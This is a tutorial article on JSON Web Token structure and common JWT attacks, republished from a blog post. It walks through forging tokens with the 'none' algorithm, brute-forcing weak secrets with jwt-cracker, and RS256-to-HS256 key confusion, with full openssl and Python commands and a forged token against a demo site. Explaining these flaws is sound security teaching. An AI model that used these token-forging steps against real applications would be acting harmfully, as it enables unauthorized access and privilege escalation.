JSON Web Tokens
Last updated
Last updated
Post taken from https://medium.com/@barrymalone/json-web-tokens-beginner-exploitation-5a44f8f6efff
JWT (pronounced jot) is pretty much an open standard used to create self-contained access tokens to be used for Authorisation (NOT Authentication), Instead of storing user information server side, user data is encoded, serialised and signed then stored client side.
The information within a JWT can be trusted by an api/application because it can be signed by the issuer using a secret (HMAC) or public / private key pair with RSA or ECDSA, tokens can also be encrypted if necessary.
Here is a basic flow to illustrate the JWT creation process:
There are 3 parts to a JSON Web Token, each being separated by a dot structured like this:
HEADER.PAYLOAD.SIGNATURE
The Header normally consists of the signing algorithm being used (typically HMAC, SHA256 or RSA) and the type of token (JWT of course), an example header would look like this:
{ “alg”: “HS256”, “typ”: “JWT” }
The header is then base64 encoded to form the first part of the token the above encoded output would be:
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9
The second part of the JWT is the payload, this part of the token normally holds user information and claims, claims are pretty much a key value pair that hold information pertaining to a subject or request, most JWT’s will contain claims like iss (issuer), exp (expiration time), sub (subject). There is a massive list of JTW claims and types you can find here. An example JWT payload would look like this:
{ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }
Once this is base64 encoded we have the second part of our JWT and our output for this would be:
eyAic3ViIjogIjEyMzQ1Njc4OTAiLCAibmFtZSI6ICJKb2huIERvZSIsICJhZG1pbiI6IHRydWUgfQ
The signature is a really key part of the JWT, it is essentially the component that allows the application/server to verify the request is legitimate and belongs to the requesting user and that the request has not been modified in transit.
To create the signature we need three things; our base64 encoded header, our base64 encoded payload and the secret we are going to use to sign it.
For example if we wanted to sign our token with the HMACSHA256 algo, it would be created the following way:
HMACSHA256( base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)
With our data:
HMACSHA256( base64UrlEncode({ “alg”: “HS256”, “typ”: “JWT” }) + “.” + base64UrlEncode({ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }), SUPERSECRETKEYHERE)
Which should then give us the below JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.foR6qo6L-YAMjbM_Bsic97JGtJ3kKss8m0_PVR9rkgA
By default some JWT libraries allow for he use of the None algorithm type.
The NONE algo type is in place in the event that you still want to use JWT but are using methods other than a signature/encryption contained within the JWT to secure it.
For example, lets say we have a token that — when decoded is output like so:
{“typ”:”JWT”,”alg”:”HS256"}{“auth”:1591821280290,”role”:”user”,”iat”:1591821280}Z%Ǔ ac@’:m\
The garbled text you see at the end is the signature in a binary format, we can make some amendments to the token to test for NONE algo issues:
{“typ”:”JWT”,”alg”:”NONE”}{“auth”:1591821280290,”role”:”administrator”,”iat”:1591821280}
What we could do now is, re-encode the modified JWT in base64 and feed it to the web application in question and if vulnerable to this attack we could make requests with admin role/perms.
It may seem far-fetched, but this is a real world issue.
Bruteforcing a JWT secret is also possible, this is made possible because we essentially have all pieces of the puzzle which is, the token itself! So the fact we have the full JWT token, means in theory we should be able to bruteforce all of the secret possiblities until we get the correct one.
To do this you can use jwt-cracker — this is a pretty trivial utility to use!
jwt-cracker will NOT crack tokens with complex/long secrets or tokens built on RS256.
This type of attack essentially tricks a consumer (your api/application) into accepting symmetrically signed JWT’s rather than its expected asymmetrically signed JWT’s.
We need two things for this to work:
A valid JWT
Public key of the issuer / api /application
For brevity sake, we will assume you already have the public key.
Once we have a fresh JWT, lets decode it:
{“typ”:”JWT”,”alg”:”RS256"}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592043993,”data”:{“hello”:”world”}}
Now we need to change the algo in the header to HS256 and then amend the payload to whatever we need:
{“typ”:”JWT”,”alg”:”HS256"}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592999999,”data”:{“barry”:”cool”}}
Once the token is amended we can re-encode it in base64:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ
Dump your public key out to ACII like so:
cat key.pem | xxd -p | tr -d “\\n”
Which will result in the below output:
2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
We can now pass this ASCII to our signing operation and sign our modified request:
echo -n “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ” | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
This will result in a HMAC signature output:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
Once we encode this in base64 with a python one-liner:
python -c “exec(\”import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(‘db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f’)).replace(‘=’,’’)\”)”
We get a signature we can append to our previously modified JWT that we can pass to the consumer and it should be accepted (Taking note of the token expiry epoch!)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
Massive shout out to Sjoerd Langkemper, I would not understand this without his explanation / demo, really awesome I would recommend checking it out.
JWT architecture is used by some of the Internets biggest companies, when implemented correctly it provides some awesome functionality — but developers definitely need to consider the implications of whatever jwt lib they are using.
I would not understand this without reading/watching the below resources, so all credit to those listed below:
NCC — Jerome Smith / Sjoerd Langkemper